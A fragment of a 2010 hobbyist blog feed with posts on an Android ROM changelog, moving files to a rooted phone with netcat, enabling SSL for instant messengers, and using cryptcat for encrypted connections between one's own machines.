&lt;a href="http://www.alldroid.org/viewtopic.php?f=311&amp;amp;t=1556&amp;amp;start=0"&gt;Smoked Glass v4.5&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
....&lt;span style="font-size: 115%; line-height: normal;"&gt;&lt;span style="color: #bf0000;"&gt;&lt;span style="text-decoration: underline;"&gt;&lt;b&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="text-decoration: underline;"&gt;&lt;span style="color: #400080;"&gt;February 19, 2010&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
- Created custom kernel with 9 Processor Slots (More than enough to suit all needs)&lt;br /&gt;
&lt;i&gt;- - 250, 400, 550, 600, 700, 800, 900, 1000, 1100 MHz Processor Slots&lt;br /&gt;
--- Processor Temperature Monitoring (Almost had it... but without &lt;span style="color: navy;"&gt;sholes.info's&lt;/span&gt; repo I wouldn't have gotten what I was missing)&lt;br /&gt;
- - DMA Race Conditioning (thanks to &lt;span style="color: navy;"&gt;sholes.info's&lt;/span&gt; great repo!)&lt;br /&gt;
--- Updates from 2.6.32 to fix Brightness and Touchscreen Issues (thanks to &lt;span style="color: navy;"&gt;t3hSteve&lt;/span&gt; for posting the patch)&lt;br /&gt;
- - Nand Prefetch&lt;br /&gt;
- - Wi-Fi Tether&lt;/i&gt;&lt;br /&gt;
- Fixed Lockscreen Images in Landscape (I have NO idea how I did that...)&lt;br /&gt;
- Added &lt;span style="color: navy;"&gt;xeudoxus'&lt;/span&gt; Launcher2.apk with fixed homescreen position.&lt;br /&gt;
- Removed Links for Extra Overclocking and Extra Overclocking Instructions&lt;br /&gt;
....&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: #990000;"&gt;A note on rooting / flashing roms:&lt;/span&gt; everyone always gives the warning that it's potentially dangerous, it could brick your phone, things may not work right, etc. However i've yet to find anyone who, following proper backup/restore procedures, has had any problems that weren't immediately fixable.&lt;br /&gt;
&lt;br /&gt;
That being said, I ofcourse am not liable for you messing up your phone just because I endorse this awesome software.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8204022780549142603-8710690822610274399?l=www.insecuresystem.org' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/X_-hCsenzGa1wpKL167EZpRllLw/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/X_-hCsenzGa1wpKL167EZpRllLw/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/X_-hCsenzGa1wpKL167EZpRllLw/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/X_-hCsenzGa1wpKL167EZpRllLw/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/insecuresystem/~4/SKENdQ7_zZs" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.insecuresystem.org/feeds/8710690822610274399/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.insecuresystem.org/2010/02/smoked-glass-rom.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8204022780549142603/posts/default/8710690822610274399?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8204022780549142603/posts/default/8710690822610274399?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/insecuresystem/~3/SKENdQ7_zZs/smoked-glass-rom.html" title="Smoked Glass Rom" /><author><name>Neurophobic</name><uri>http://www.blogger.com/profile/14115777918828256014</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="05867391073010406514" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://www.insecuresystem.org/2010/02/smoked-glass-rom.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CE8DR385fyp7ImA9WxBVFk0.&quot;"><id>tag:blogger.com,1999:blog-8204022780549142603.post-8085667956589192146</id><published>2010-02-19T10:06:00.000-08:00</published><updated>2010-02-19T10:07:56.127-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-02-19T10:07:56.127-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="android" /><category scheme="http://www.blogger.com/atom/ns#" term="networking" /><title>transfering files to android</title><content type="html">Yet another use for netcat...&lt;br /&gt;
&lt;br /&gt;
Not having an ftp server handy and wanting to transfer a new ROM to my Droid, I tried to find the simplest method possible without the nuisance of plugging in the usb... maybe i'm just obsessed with netcat lately. This should work on any rooted android device with busybox installed.&lt;br /&gt;
&lt;br /&gt;
&lt;div style="color: #990000;"&gt;server (192.168.168.13):&lt;/div&gt;$cat new_rom.zip | nc -l -p 8080&lt;br /&gt;
&lt;br /&gt;
&lt;div style="color: #990000;"&gt;droid (on the 192.168.168.0/24 wireless):&lt;/div&gt;$$ su&lt;br /&gt;
#cd /sdcard&lt;br /&gt;
#busybox nc 192.168.168.13 8080 &amp;gt; new_rom.zip&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8204022780549142603-8085667956589192146?l=www.insecuresystem.org' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/ZGUyXFOe8r17rwvX7HPmPdxB6Qg/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ZGUyXFOe8r17rwvX7HPmPdxB6Qg/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/ZGUyXFOe8r17rwvX7HPmPdxB6Qg/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ZGUyXFOe8r17rwvX7HPmPdxB6Qg/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/insecuresystem/~4/NS4rUfewza4" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.insecuresystem.org/feeds/8085667956589192146/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.insecuresystem.org/2010/02/transfering-files-to-android.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8204022780549142603/posts/default/8085667956589192146?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8204022780549142603/posts/default/8085667956589192146?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/insecuresystem/~3/NS4rUfewza4/transfering-files-to-android.html" title="transfering files to android" /><author><name>Neurophobic</name><uri>http://www.blogger.com/profile/14115777918828256014</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="05867391073010406514" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://www.insecuresystem.org/2010/02/transfering-files-to-android.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkEARnc7eyp7ImA9WxBVFUg.&quot;"><id>tag:blogger.com,1999:blog-8204022780549142603.post-6946593477147460623</id><published>2010-02-18T19:35:00.000-08:00</published><updated>2010-02-18T19:37:27.903-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-02-18T19:37:27.903-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Security" /><category scheme="http://www.blogger.com/atom/ns#" term="Encryption" /><title>Instant Messengers and Encryption</title><content type="html">&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;Instant messaging services are remarkably still common for average net users to employ on a daily basis, however many (perhaps the majority) don't realize that on most networks every message they send is in clear-text and can be read by anyone else on their local network (like some creepy guy in Starbucks, or a hacker on your campus wireless).&lt;br /&gt;
&lt;br /&gt;
Both AIM and GoogleTalk have an SSL option, why it's not enabled by default is something I don't quite grasp.. but you should be able to turn it on in your client. I happen to use pidgin, so for me the SSL options look like this.&lt;br /&gt;
&amp;nbsp; &lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_zYnlWpU7s_s/S34DEUYIf1I/AAAAAAAAACs/gNIxnlRAi5k/s1600-h/aim.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_zYnlWpU7s_s/S34DEUYIf1I/AAAAAAAAACs/gNIxnlRAi5k/s320/aim.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;a href="http://3.bp.blogspot.com/_zYnlWpU7s_s/S34DJ_0_i6I/AAAAAAAAAC0/X2YyvmEbzoI/s1600-h/msn.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_zYnlWpU7s_s/S34DJ_0_i6I/AAAAAAAAAC0/X2YyvmEbzoI/s320/msn.png" /&gt;&lt;/a&gt;&lt;br /&gt;
&amp;nbsp; &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
As long as you have "use SSL" or "Require SSL" then your logins and communications should be safe from casual eavesdroppers.&lt;br /&gt;
&lt;br /&gt;
As for msn/hotmail, their IM appears to send login credentials over a TLS encrypted connection.. so at least no one can sniff your username/password and get into your account, but after that it drops to a normal plain-text connection and all of your messages can be sniffed.&lt;br /&gt;
&lt;br /&gt;
Facebook's new XMPP service is the worst of the lot, it expressly advertises that it doesnt in any way support encryption, advising users to uncheck the ssl option for XMPP. This makes using a facebook chat in a public location extremely vulnerable.&lt;br /&gt;
&lt;br /&gt;
The only options for securing msn or facebook XMPP is to set up an encrypted socks5 tunnel and point those messenger accounts at it, this can be done using an SSH tunnel if you have a public facing unix system available to you (ssh -D1234 username@fqdn).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8204022780549142603-6946593477147460623?l=www.insecuresystem.org' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/PNjzILuvM6W4dVVCwXedQSBp5tM/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/PNjzILuvM6W4dVVCwXedQSBp5tM/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/PNjzILuvM6W4dVVCwXedQSBp5tM/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/PNjzILuvM6W4dVVCwXedQSBp5tM/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/insecuresystem/~4/T69HCXjcSrA" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.insecuresystem.org/feeds/6946593477147460623/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.insecuresystem.org/2010/02/instant-messengers-and-encryption.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8204022780549142603/posts/default/6946593477147460623?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8204022780549142603/posts/default/6946593477147460623?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/insecuresystem/~3/T69HCXjcSrA/instant-messengers-and-encryption.html" title="Instant Messengers and Encryption" /><author><name>Neurophobic</name><uri>http://www.blogger.com/profile/14115777918828256014</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="05867391073010406514" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_zYnlWpU7s_s/S34DEUYIf1I/AAAAAAAAACs/gNIxnlRAi5k/s72-c/aim.png" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://www.insecuresystem.org/2010/02/instant-messengers-and-encryption.html</feedburner:origLink></entry><entry gd:etag="W/&quot;Ck8FSXo6eCp7ImA9WxBVFUk.&quot;"><id>tag:blogger.com,1999:blog-8204022780549142603.post-1294424871238580739</id><published>2010-02-18T16:51:00.000-08:00</published><updated>2010-02-18T16:53:38.410-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-02-18T16:53:38.410-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Encryption" /><category scheme="http://www.blogger.com/atom/ns#" term="Linux" /><title>cryptcat</title><content type="html">Just noticed this in backtrack4, cryptcat is just like netcat only creates encrypted connections instead. The only downside is that you need cryptcat on both ends of the connection.&lt;br /&gt;
&lt;br /&gt;
Make sure to use the -k flag to change the encryption key, otherwise it reverts to a hardcoded known key.. which kinda defeats the point.&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: #990000;"&gt;server (1.2.3.4):&lt;/span&gt;&lt;br /&gt;
&lt;div style="color: #eeeeee;"&gt;cryptcat -k mykey -l -p 4444&amp;nbsp;&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #990000;"&gt;client:&lt;/span&gt;&lt;br /&gt;
&lt;div style="color: #eeeeee;"&gt;cryptcat -k mykey 1.2.3.4 4444&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
win!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8204022780549142603-1294424871238580739?l=www.insecuresystem.org' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/GgifrwJlvbcUEI-t7zT0uQpHMQo/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/GgifrwJlvbcUEI-t7zT0uQpHMQo/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/GgifrwJlvbcUEI-t7zT0uQpHMQo/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/GgifrwJlvbcUEI-t7zT0uQpHMQo/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/insecuresystem/~4/gqpW5btk-pg" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.insecuresystem.org/feeds/1294424871238580739/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.insecuresystem.org/2010/02/cryptcat.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8204022780549142603/posts/default/1294424871238580739?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8204022780549142603/posts/default/1294424871238580739?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/insecuresystem/~3/gqpW5btk-pg/cryptcat.html" title="cryptcat" /><author><name>Neurophobic</name><uri>http://www.blogger.com/profile/14115777918828256014</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="05867391073010406514" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://www.insecuresystem.org/2010/02/cryptcat.html</feedburner:origLink></entry></feed>
